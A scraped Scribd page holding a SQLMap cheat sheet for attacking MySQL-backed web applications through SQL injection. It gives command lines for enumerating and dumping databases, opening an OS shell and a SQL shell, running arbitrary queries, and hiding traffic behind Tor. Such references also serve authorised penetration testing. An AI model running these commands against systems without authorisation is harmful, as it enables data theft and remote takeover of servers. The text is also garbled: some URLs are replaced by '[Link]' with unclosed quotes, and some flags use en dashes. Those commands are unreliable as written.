0% found this document useful (0 votes)
18 views1 page

SQLMap

This document is a cheat sheet for using SQLMap with MySQL databases. It provides command-line examples for enumerating databases, tables, columns, dumping data, exploiting parameters, accessing OS and SQL shells, executing SQL queries, and using a Tor proxy. Each command is formatted for easy reference and usage.

Uploaded by

rahoriyahitesh
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views1 page

SQLMap

This document is a cheat sheet for using SQLMap with MySQL databases. It provides command-line examples for enumerating databases, tables, columns, dumping data, exploiting parameters, accessing OS and SQL shells, executing SQL queries, and using a Tor proxy. Each command is formatted for easy reference and usage.

Uploaded by

rahoriyahitesh
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

SQLMap Cheat Sheet

# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" –tables

# Enumerate columns
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T “$TABLE” –columns --dump

# Dump table data


sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

# Specify parameter to exploit


sqlmap --dbms=mysql -u "[Link] --dbs -p
param2

# Specify parameter to exploit in 'nice' URIs


sqlmap --dbms=mysql -u "[Link] --dbs #
exploits param1

# Get OS shell
sqlmap --dbms=mysql -u "$URL" --os-shell

# Get SQL shell


sqlmap --dbms=mysql -u "$URL" --sql-shell

# SQL query
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

# Use Tor Socks5 proxy


sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

You might also like